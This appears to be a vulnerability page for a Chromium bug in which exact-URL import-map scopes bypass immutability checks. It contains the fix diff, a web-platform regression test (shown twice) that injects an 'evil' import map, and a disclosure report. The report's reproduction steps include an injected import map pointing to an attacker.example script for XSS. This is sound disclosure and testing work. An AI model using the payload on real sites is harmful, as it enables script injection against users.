CVE-2026-113108
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/renderer/core/script/document_modulator_impl.cc |
modified | |
forthird_party/blink/renderer/core/script/document_modulator_impl.cc |
modified |
Files Changed
third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/exact-url-scope-immutability.htmlthird_party/blink/renderer/core/script/document_modulator_impl.ccthird_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/resources/exact-url-scope-importer.js
Patch
From 906b35e34b119f873c4b960c2ab448685f16662f Mon Sep 17 00:00:00 2001
From: Yoav Weiss <yoavweiss@chromium.org>
Date: Fri, 25 Sep 2026 03:29:15 -0700
Subject: [PATCH] Import map - avoid redefining exact match
Bug: 502299325
Change-Id: I0b4718a1f427579fd4124967ba425a5518bef4bf
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8025358
Commit-Queue: Yoav Weiss (@Shopify) <yoavweiss@chromium.org>
Reviewed-by: Kouhei Ueno <kouhei@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1704687}
---
diff --git a/third_party/blink/renderer/core/script/document_modulator_impl.cc b/third_party/blink/renderer/core/script/document_modulator_impl.cc
index fdf73476..2bac37b 100644
--- a/third_party/blink/renderer/core/script/document_modulator_impl.cc
+++ b/third_party/blink/renderer/core/script/document_modulator_impl.cc
@@ -78,11 +78,14 @@
toplevel_resolved_module_set_.insert(specifier_prefix);
}
- if (!referring_script_url) {
+ if (!referring_script_url || referring_script_url->empty()) {
return;
}
Vector<AtomicString> referring_script_prefixes =
FindUrlPrefixes(referring_script_url.value());
+ // A scope key may match the referring script URL exactly (with no trailing
+ // '/'), so include the full URL in addition to its '/'-terminated prefixes.
+ referring_script_prefixes.push_back(referring_script_url.value());
for (const auto& referring_script_prefix : referring_script_prefixes) {
const auto& current_set_it =
scoped_resolved_module_map_.find(referring_script_prefix);
diff --git a/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/exact-url-scope-immutability.html b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/exact-url-scope-immutability.html
new file mode 100644
index 0000000..2be0503
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/exact-url-scope-immutability.html
@@ -0,0 +1,64 @@
+<!DOCTYPE html>
+<meta charset="utf-8">
+<title>Import maps: exact-URL scope keys must not override already-resolved specifiers</title>
+<link rel="help" href="https://html.spec.whatwg.org/multipage/webappapis.html#merge-existing-and-new-import-maps">
+<link rel="help" href="https://issues.chromium.org/issues/502299325">
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+
+<script>
+ // log.js pushes into this global. Declared as a script-scoped `const` so
+ // it's visible from imported modules via the shared global lexical scope
+ // (matches the pattern used by other tests in this directory).
+ const log = [];
+</script>
+
+<!-- Initial import map: bare specifier "target" -> trusted URL. -->
+<script type="importmap">
+{
+ "imports": {
+ "target": "../resources/log.js?pipe=sub&name=trusted"
+ }
+}
+</script>
+
+<script type="module">
+// Load the referrer module. import() calls it makes will use its URL as the
+// referring script URL.
+const importerURL =
+ new URL("resources/exact-url-scope-importer.js", document.baseURI).href;
+await import(importerURL);
+
+promise_test(async () => {
+ // First import from importer's scope. Resolves "target" -> trusted via the
+ // top-level imports rule.
+ await globalThis.doImport("target");
+ assert_array_equals(log, ["log:trusted"],
+ "First import must resolve to the trusted URL.");
+
+ // Inject a second import map whose scope key is the exact URL of the
+ // referring script (no trailing '/'). Per HTML's "merge existing and new
+ // import maps" step 3.1 the ("target") rule inside this scope must be
+ // dropped: the (referring script, specifier) pair is already resolved and
+ // module specifier resolutions are required to be immutable.
+ const attackerMap = document.createElement("script");
+ attackerMap.type = "importmap";
+ attackerMap.textContent = JSON.stringify({
+ scopes: {
+ [importerURL]: {
+ "target": "../resources/log.js?pipe=sub&name=evil"
+ }
+ }
+ });
+ document.head.appendChild(attackerMap);
+
+ // Import again from importer's scope. Correct behaviour: "target" still
+ // resolves to the trusted URL (already cached, so no new log entry).
+ // Buggy behaviour: "target" resolves to the evil URL, which is a new
+ // module URL — it would be fetched and executed, appending "log:evil".
+ await globalThis.doImport("target");
+ assert_array_equals(log, ["log:trusted"],
+ "Second import must not resolve to the attacker URL; the exact-URL " +
+ "scope rule must be dropped as a conflict.");
+}, "Exact-URL scope keys do not override already-resolved specifiers");
+</script>
diff --git a/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/resources/exact-url-scope-importer.js b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/resources/exact-url-scope-importer.js
new file mode 100644
index 0000000..01ee3ef
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/resources/exact-url-scope-importer.js
@@ -0,0 +1,6 @@
+// Helper module used by exact-url-scope-immutability.html.
+//
+// When globalThis.doImport(specifier) is invoked, the resulting import()
+// call's referring script URL is this file's URL. That URL is used as an
+// exact-URL scope key in the test's second import map.
+globalThis.doImport = (specifier) => import(specifier);
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/exact-url-scope-immutability.html b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/exact-url-scope-immutability.html
new file mode 100644
index 0000000..2be0503
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/exact-url-scope-immutability.html
@@ -0,0 +1,64 @@
+<!DOCTYPE html>
+<meta charset="utf-8">
+<title>Import maps: exact-URL scope keys must not override already-resolved specifiers</title>
+<link rel="help" href="https://html.spec.whatwg.org/multipage/webappapis.html#merge-existing-and-new-import-maps">
+<link rel="help" href="https://issues.chromium.org/issues/502299325">
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+
+<script>
+ // log.js pushes into this global. Declared as a script-scoped `const` so
+ // it's visible from imported modules via the shared global lexical scope
+ // (matches the pattern used by other tests in this directory).
+ const log = [];
+</script>
+
+<!-- Initial import map: bare specifier "target" -> trusted URL. -->
+<script type="importmap">
+{
+ "imports": {
+ "target": "../resources/log.js?pipe=sub&name=trusted"
+ }
+}
+</script>
+
+<script type="module">
+// Load the referrer module. import() calls it makes will use its URL as the
+// referring script URL.
+const importerURL =
+ new URL("resources/exact-url-scope-importer.js", document.baseURI).href;
+await import(importerURL);
+
+promise_test(async () => {
+ // First import from importer's scope. Resolves "target" -> trusted via the
+ // top-level imports rule.
+ await globalThis.doImport("target");
+ assert_array_equals(log, ["log:trusted"],
+ "First import must resolve to the trusted URL.");
+
+ // Inject a second import map whose scope key is the exact URL of the
+ // referring script (no trailing '/'). Per HTML's "merge existing and new
+ // import maps" step 3.1 the ("target") rule inside this scope must be
+ // dropped: the (referring script, specifier) pair is already resolved and
+ // module specifier resolutions are required to be immutable.
+ const attackerMap = document.createElement("script");
+ attackerMap.type = "importmap";
+ attackerMap.textContent = JSON.stringify({
+ scopes: {
+ [importerURL]: {
+ "target": "../resources/log.js?pipe=sub&name=evil"
+ }
+ }
+ });
+ document.head.appendChild(attackerMap);
+
+ // Import again from importer's scope. Correct behaviour: "target" still
+ // resolves to the trusted URL (already cached, so no new log entry).
+ // Buggy behaviour: "target" resolves to the evil URL, which is a new
+ // module URL — it would be fetched and executed, appending "log:evil".
+ await globalThis.doImport("target");
+ assert_array_equals(log, ["log:trusted"],
+ "Second import must not resolve to the attacker URL; the exact-URL " +
+ "scope rule must be dropped as a conflict.");
+}, "Exact-URL scope keys do not override already-resolved specifiers");
+</script>
diff --git a/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/resources/exact-url-scope-importer.js b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/resources/exact-url-scope-importer.js
new file mode 100644
index 0000000..01ee3ef
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/import-maps/multiple-import-maps/resources/exact-url-scope-importer.js
@@ -0,0 +1,6 @@
+// Helper module used by exact-url-scope-immutability.html.
+//
+// When globalThis.doImport(specifier) is invoked, the resulting import()
+// call's referring script URL is this file's URL. That URL is used as an
+// exact-URL scope key in the test's second import map.
+globalThis.doImport = (specifier) => import(specifier);
Original Bug Report
Bypass of Import Map immutability allows XSS via exact URL scope
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.
Overview: A logic error in Chromium’s Import Map implementation allows newly added import maps to override module mappings for scripts that have already resolved modules. The exact URL of a referring script is not properly recorded during module resolution, allowing an attacker with HTML injection capabilities to inject an import map using an exact URL scope that bypasses immutability conflict checks.
Affected files:
third_party/blink/renderer/core/script/document_modulator_impl.ccthird_party/blink/renderer/core/script/import_map.cc
Estimated timestamp from git blame: 2025-11-25
Description
The HTML specification requires that once a module specifier has been resolved for a given referring script, that resolution must remain immutable, even if subsequent import maps are registered. Chromium implements a defense-in-depth mechanism to enforce this by maintaining a set of resolved (referring script, specifier) pairs in DocumentModulatorImpl::scoped_resolved_module_map_.
However, a discrepancy in how this map is populated and checked during the merging of multiple import maps allows this immutability invariant to be bypassed.
Technical Analysis
- When a module is resolved,
DocumentModulatorImpl::AddModuleToResolvedModuleSetrecords the resolution. To support prefix-based scope matching, it generates URL prefixes for the referring script usingFindUrlPrefixes. FindUrlPrefixes(third_party/blink/renderer/core/script/document_modulator_impl.cc:16-29) splits the URL and only returns prefixes that terminate with a/character (e.g.,https://example.com/js/).- Crucially, if the referring script is
https://example.com/js/app.js, its exact URL string is not returned byFindUrlPrefixes. Consequently, the exact URL is never added as a key toscoped_resolved_module_map_. - When a new
<script type="importmap">is injected into the document,ImportMap::MergeExistingAndNewImportMapschecks for conflicts to prevent overriding existing resolutions (third_party/blink/renderer/core/script/import_map.cc:746). It performs an exact string lookup:scoped_resolved_module_map.find(scope). - If the new import map defines a scope using the exact URL of the referring script (e.g.,
"scopes": {"https://example.com/js/app.js": { ... }}), the lookup fails because that exact URL was never added as a key. The conflict check is bypassed, and the malicious mapping is merged. - Later, when the legitimate script (
https://example.com/js/app.js) dynamically imports the same specifier,ImportMap::Resolvechecks the newly merged scopes (third_party/blink/renderer/core/script/import_map.cc:541). Because the referring script URL exactly matches the attacker’s scope (scope == base_url.GetString()), the attacker’s mapping is used. - Chromium’s
ModuleMapcaches fetched modules by their resolvedKURL, not by their specifier. Therefore, the new resolved URL is treated as a new module, fetched, and executed.
Potential Impact
If an attacker has an HTML injection primitive on a page utilizing JavaScript modules, they can inject an import map to redefine mappings for already-loaded scripts. By redirecting subsequent dynamic imports to attacker-controlled URLs, this escalates the HTML injection into Same-Origin Script Execution (XSS).
Note: These steps are based on static code analysis; our tooling has not executed a working proof-of-concept payload.
Potential Reproduction Steps
- Serve a page at
https://example.com/index.htmlwith an initial valid import map mapping"react"to a trusted CDN. - The page loads a module script
https://example.com/js/app.jswhich executesimport 'react'. This resolves to the trusted CDN.DocumentModulatorImpl::AddModuleToResolvedModuleSetis called, but the exact URLhttps://example.com/js/app.jsis not added as a key toscoped_resolved_module_map_. - Leverage HTML injection to append a second import map:
<script type="importmap">{"scopes": {"https://example.com/js/app.js": {"react": "https://attacker.example/evil.js"}}}</script>. - During the merge process, the exact URL scope bypasses the conflict check because it is not found in
scoped_resolved_module_map_. app.jssubsequently callsimport('react')dynamically.ImportMap::Resolvematches the exact URL scope and resolves'react'tohttps://attacker.example/evil.js. The browser fetches and executes the attacker’s script.
Suggested Fix
Modify DocumentModulatorImpl::AddModuleToResolvedModuleSet to explicitly add the exact referring_script_url as a key to scoped_resolved_module_map_, in addition to the prefixes generated by FindUrlPrefixes.
if (!referring_script_url)
return;
// Add the exact URL to ensure exact scope matching works during conflict checks.
auto& exact_url_set = scoped_resolved_module_map_.insert(referring_script_url.value(), HashSet<AtomicString>()).stored_value->value;
exact_url_set.insert(specifier);
for (const auto& specifier_prefix : specifier_prefixes) {
exact_url_set.insert(specifier_prefix);
}
Vector<AtomicString> referring_script_prefixes =
FindUrlPrefixes(referring_script_url.value());
// ... rest of the existing prefix loop ...
Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.